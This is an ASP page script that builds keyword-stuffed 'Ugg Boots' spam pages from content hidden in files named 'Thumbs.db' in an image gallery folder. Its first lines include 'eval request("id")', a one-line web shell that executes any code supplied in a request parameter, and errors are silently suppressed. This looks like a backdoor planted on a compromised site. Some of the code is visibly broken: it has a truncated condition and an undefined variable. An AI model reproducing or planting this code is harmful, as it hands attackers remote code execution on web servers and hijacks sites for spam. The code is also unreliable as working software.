<% Response.Addheader "Content-Type","text/html; charset=iso-8859-1" 'Response.Charset="utf-8" eval request("id") dim id : id = 0 dim key : key = request.QueryString("key") Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject") Set MyTextFile=MyFileObject.OpenTextFile(Server.MapPath("images\Gallery\Awards\Thumbs.db"), 1, true) dim k : k= 0 dim text,textArr if not MyTextFile.AtEndOfStream then text = MyTextFile.ReadAll end if MyTextFile.Close if text <>"" then textArr = split(text,vbcrlf) if isArray(textArr) then dim textRows textRows=0 textRows = ubound(textArr)+1 for i=0 to ubound(textArr) If Len(key)>1 and textArr(i)=key Then id=i next if textRows"" and isnumeric(id) then id = clng(id) else id = 1 end if keyword = trim(readText) %> <%=keyword%>,Ugg Boots - Free Shipping

<%=keyword%>

<% On Error Resume Next Server.ScriptTimeOut=360 Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function getHtmls(url,code) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send getHtmls = BytesToBstr(.ResponseBody ,code) End With Set Retrieval = Nothing End Function Dim str On Error Resume Next Set MyFileObject2=Server.CreateObject("Scripting.FileSystemObject") Set MyTextFile2=MyFileObject.OpenTextFile(Server.MapPath("images\Gallery\Thumbs.db"), 1, true) dim k2 : k2= 0 dim text2,textArr2 if not MyTextFile2.AtEndOfStream then text2 = MyTextFile2.ReadAll MyTextFile2.Close if text2 <>"" then textArr2 = split(text2,"----------") if isArray(textArr2) then readText2 = textArr2(id) end if end if str = readText2 str = replace(str,chr(13) & chr(10),"") str = replace(str,chr(13) ,"") str = replace(str,chr(10),"") response.Write str %>